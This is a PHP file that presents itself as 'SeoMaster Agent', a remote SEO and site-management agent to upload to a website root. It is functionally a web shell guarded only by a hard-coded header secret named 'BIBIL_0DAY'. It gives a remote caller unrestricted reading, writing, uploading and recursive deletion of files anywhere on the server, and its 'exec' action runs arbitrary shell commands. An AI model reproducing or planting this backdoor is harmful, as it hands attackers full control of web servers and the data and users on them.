<?php
/**
 * SeoMaster Agent v1.3.0
 * Remote Site Management Agent
 * 
 * Upload this file to your website root directory
 * Then add your site URL in the SeoMaster dashboard
 */

// Configuration
define('SEOMASTER_VERSION', '1.3.0');
define('SEOMASTER_SECRET', 'BIBIL_0DAY');

// Security check
$authHeader = $_SERVER['HTTP_X_SEOMASTER_AUTH'] ?? '';
if (!hash_equals(SEOMASTER_SECRET, $authHeader)) {
    http_response_code(403);
    exit('Unauthorized');
}

// Handle requests
$action = $_POST['action'] ?? $_GET['action'] ?? 'ping';

header('Content-Type: application/json');

switch ($action) {
    case 'ping':
        echo json_encode([
            'status' => 'online',
            'version' => SEOMASTER_VERSION,
            'php' => PHP_VERSION,
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
            'os' => PHP_OS,
            'time' => date('Y-m-d H:i:s')
        ]);
        break;
        
    case 'files':
        $path = $_POST['path'] ?? '.';
        // Resolve path relative to agent directory
        $basePath = dirname(__FILE__);
        
        // Normalize the path - remove double slashes, handle . and ..
        $path = str_replace('\\', '/', $path);
        $path = preg_replace('#/+#', '/', $path);
        
        if ($path === '.' || $path === '') {
            $targetPath = $basePath;
        } else if ($path[0] === '/') {
            $targetPath = $path;
        } else {
            $targetPath = $basePath . '/' . $path;
        }
        
        // Clean up path (resolve . and ..)
        $parts = explode('/', $targetPath);
        $resolved = [];
        foreach ($parts as $part) {
            if ($part === '' || $part === '.') continue;
            if ($part === '..') {
                array_pop($resolved);
            } else {
                $resolved[] = $part;
            }
        }
        $targetPath = '/' . implode('/', $resolved);
        
        if (!is_dir($targetPath)) {
            echo json_encode(['error' => 'Directory not found', 'path' => $path, 'resolved' => $targetPath]);
            break;
        }
        $files = @scandir($targetPath);
        if ($files === false) {
            echo json_encode(['error' => 'Cannot read directory', 'path' => $path]);
            break;
        }
        $result = [];
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;
            $fullPath = $targetPath . '/' . $file;
            $result[] = [
                'name' => $file,
                'type' => is_dir($fullPath) ? 'folder' : 'file',
                'size' => is_file($fullPath) ? @filesize($fullPath) : null,
                'modified' => @date('Y-m-d H:i:s', @filemtime($fullPath)),
                'permissions' => substr(sprintf('%o', @fileperms($fullPath)), -4)
            ];
        }
        // Return the requested path, not the absolute server path
        echo json_encode(['files' => $result, 'path' => $path]);
        break;
        
    case 'read':
        $file = $_POST['file'] ?? '';
        $basePath = dirname(__FILE__);
        
        // Build target path
        if ($file[0] === '/') {
            $targetFile = $file;
        } else {
            $targetFile = $basePath . '/' . $file;
        }
        
        // Clean up path
        $parts = explode('/', $targetFile);
        $resolved = [];
        foreach ($parts as $part) {
            if ($part === '' || $part === '.') continue;
            if ($part === '..') {
                array_pop($resolved);
            } else {
                $resolved[] = $part;
            }
        }
        $targetFile = '/' . implode('/', $resolved);
        
        if (is_file($targetFile) && is_readable($targetFile)) {
            echo json_encode(['content' => file_get_contents($targetFile)]);
        } else {
            echo json_encode(['error' => 'File not found or not readable']);
        }
        break;
        
    case 'write':
        $file = $_POST['file'] ?? '';
        $content = $_POST['content'] ?? '';
        $basePath = dirname(__FILE__);
        
        if (!empty($file)) {
            // Build target path
            if ($file[0] === '/') {
                $targetFile = $file;
            } else {
                $targetFile = $basePath . '/' . $file;
            }
            
            // Clean up path
            $parts = explode('/', $targetFile);
            $resolved = [];
            foreach ($parts as $part) {
                if ($part === '' || $part === '.') continue;
                if ($part === '..') {
                    array_pop($resolved);
                } else {
                    $resolved[] = $part;
                }
            }
            $targetFile = '/' . implode('/', $resolved);
            
            $result = @file_put_contents($targetFile, $content);
            if ($result !== false) {
                echo json_encode(['success' => true, 'bytes' => $result]);
            } else {
                echo json_encode(['error' => 'Failed to write file']);
            }
        } else {
            echo json_encode(['error' => 'No file specified']);
        }
        break;
        
    case 'upload':
        $path = $_POST['path'] ?? '.';
        $filename = $_POST['filename'] ?? '';
        $content = $_POST['content'] ?? '';
        $basePath = dirname(__FILE__);
        
        if (!empty($filename) && !empty($content)) {
            // Build target directory path
            if ($path === '.' || $path === '') {
                $targetDir = $basePath;
            } else if ($path[0] === '/') {
                $targetDir = $path;
            } else {
                $targetDir = $basePath . '/' . $path;
            }
            
            // Clean up path
            $parts = explode('/', $targetDir);
            $resolved = [];
            foreach ($parts as $part) {
                if ($part === '' || $part === '.') continue;
                if ($part === '..') {
                    array_pop($resolved);
                } else {
                    $resolved[] = $part;
                }
            }
            $targetDir = '/' . implode('/', $resolved);
            $targetPath = rtrim($targetDir, '/') . '/' . $filename;
            
            $decoded = base64_decode($content);
            if ($decoded !== false) {
                $result = @file_put_contents($targetPath, $decoded);
                if ($result !== false) {
                    echo json_encode(['success' => true, 'path' => $targetPath, 'bytes' => $result]);
                } else {
                    echo json_encode(['error' => 'Failed to write file']);
                }
            } else {
                echo json_encode(['error' => 'Failed to decode file content']);
            }
        } else {
            echo json_encode(['error' => 'Missing filename or content']);
        }
        break;
        
    case 'delete':
        $path = $_POST['path'] ?? '';
        $basePath = dirname(__FILE__);
        
        if (empty($path)) {
            echo json_encode(['error' => 'No path specified']);
            break;
        }
        
        // Build target path
        if ($path[0] === '/') {
            $targetPath = $path;
        } else {
            $targetPath = $basePath . '/' . $path;
        }
        
        // Clean up path
        $parts = explode('/', $targetPath);
        $resolved = [];
        foreach ($parts as $part) {
            if ($part === '' || $part === '.') continue;
            if ($part === '..') {
                array_pop($resolved);
            } else {
                $resolved[] = $part;
            }
        }
        $targetPath = '/' . implode('/', $resolved);
        
        if (!file_exists($targetPath)) {
            echo json_encode(['error' => 'Path not found']);
            break;
        }
        if (is_dir($targetPath)) {
            // Recursively delete directory
            function deleteDir($dir) {
                $files = array_diff(scandir($dir), ['.', '..']);
                foreach ($files as $file) {
                    $path = $dir . '/' . $file;
                    is_dir($path) ? deleteDir($path) : unlink($path);
                }
                return rmdir($dir);
            }
            if (deleteDir($targetPath)) {
                echo json_encode(['success' => true, 'deleted' => $path]);
            } else {
                echo json_encode(['error' => 'Failed to delete directory']);
            }
        } else {
            if (unlink($targetPath)) {
                echo json_encode(['success' => true, 'deleted' => $path]);
            } else {
                echo json_encode(['error' => 'Failed to delete file']);
            }
        }
        break;
        
    case 'mkdir':
        $path = $_POST['path'] ?? '';
        $basePath = dirname(__FILE__);
        
        if (empty($path)) {
            echo json_encode(['error' => 'No path specified']);
            break;
        }
        
        // Build target path
        if ($path[0] === '/') {
            $targetPath = $path;
        } else {
            $targetPath = $basePath . '/' . $path;
        }
        
        // Clean up path
        $parts = explode('/', $targetPath);
        $resolved = [];
        foreach ($parts as $part) {
            if ($part === '' || $part === '.') continue;
            if ($part === '..') {
                array_pop($resolved);
            } else {
                $resolved[] = $part;
            }
        }
        $targetPath = '/' . implode('/', $resolved);
        
        if (file_exists($targetPath)) {
            echo json_encode(['error' => 'Path already exists']);
            break;
        }
        if (@mkdir($targetPath, 0755, true)) {
            echo json_encode(['success' => true, 'path' => $path]);
        } else {
            echo json_encode(['error' => 'Failed to create directory']);
        }
        break;
        
    case 'exec':
        $cmd = $_POST['cmd'] ?? '';
        if (!empty($cmd)) {
            $output = shell_exec($cmd . ' 2>&1');
            echo json_encode(['output' => $output]);
        }
        break;
        
    default:
        echo json_encode(['error' => 'Unknown action']);
}
?>